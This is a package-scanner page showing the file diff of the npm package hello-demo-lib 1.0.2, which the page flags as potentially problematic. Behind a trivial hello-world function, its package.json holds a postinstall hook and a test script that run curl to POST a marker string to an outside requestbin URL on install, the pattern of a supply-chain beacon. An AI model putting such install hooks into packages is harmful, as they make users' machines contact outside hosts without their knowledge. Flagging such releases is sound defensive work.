hello-demo-lib 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of hello-demo-lib might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ function helloNpm() {
2
+ return "hello NPM"
3
+ }
4
+
5
+ module.exports = helloNpm
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "hello-demo-lib",
3
+ "version": "1.0.2",
4
+ "description": "bug bounty demo lib",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "curl -X POST -d \"postinstall=hello-demo-lib-1\" https://requestbin.myworkato.com/1c3fvo11",
8
+ "test": "curl -X POST -d \"test=hello-demo-lib-1\" https://requestbin.myworkato.com/1c3fvo11"
9
+ },
10
+ "author": "draver@safe-mail.net",
11
+ "license": "ISC"
12
+ }
package/package.json~ ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "hello-demo-lib",
3
+ "version": "1.0.1",
4
+ "description": "bug bounty demo lib",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "curl -X POST -d \"test=hello-demo-lib-1\" https://requestbin.myworkato.com/1c3fvo11"
8
+ },
9
+ "author": "draver@safe-mail.net",
10
+ "license": "ISC"
11
+ }
package/test/script.js ADDED
@@ -0,0 +1,5 @@
1
+ const helloNpm = require('hello-demo-lib')
2
+
3
+ console.log(helloNpm())
4
+
5
+